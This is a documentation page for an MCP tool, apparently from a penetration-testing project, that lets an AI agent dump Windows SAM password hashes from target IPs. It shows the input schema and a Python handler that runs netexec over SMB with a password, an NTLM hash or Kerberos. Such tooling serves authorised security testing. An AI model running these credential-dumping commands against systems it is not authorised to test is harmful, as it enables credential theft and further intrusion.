dump_sam_hashes
Extract SAM database hashes from Windows systems using credentials or NTLM hashes for security testing and password analysis during penetration testing.
Instructions
dump sam hashes if we have some redentials using the sec dump which is similar to secretdump,use ntlm hash or normal password
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| ips | Yes | ||
| username | Yes | ||
| password | Yes | ||
| ntlm | No | ||
| kerberos | No |
Implementation Reference
- src/pentestmcp/server.py:301-308 (handler)The handler function for the 'dump_sam_hashes' tool. It executes netexec smb with --sam secdump option using NTLM hash, Kerberos, or password authentication to dump SAM hashes.def dump_sam_hashes(ips:List[str],username:str,password:str,ntlm:bool=False,kerberos:bool=False): if (ntlm): return run_command(["netexec","smb"]+ips+["-u",username,"-H",password,"--sam","secdump"]) elif(kerberos): return run_command(["netexec","smb"]+ips+["-u",username,"-p",password,'-k',"--sam","secdump"]) else: return run_command(["netexec","smb"]+ips+["-u",username,"-p",password,"--sam","secdump"])
- src/pentestmcp/server.py:300-300 (registration)Registers the 'dump_sam_hashes' tool with MCP using the @mcp.tool decorator, including name, description, and implicit schema from function parameters.@mcp.tool(name="dump_sam_hashes",description="dump sam hashes if we have some redentials using the sec dump which is similar to secretdump,use ntlm hash or normal password")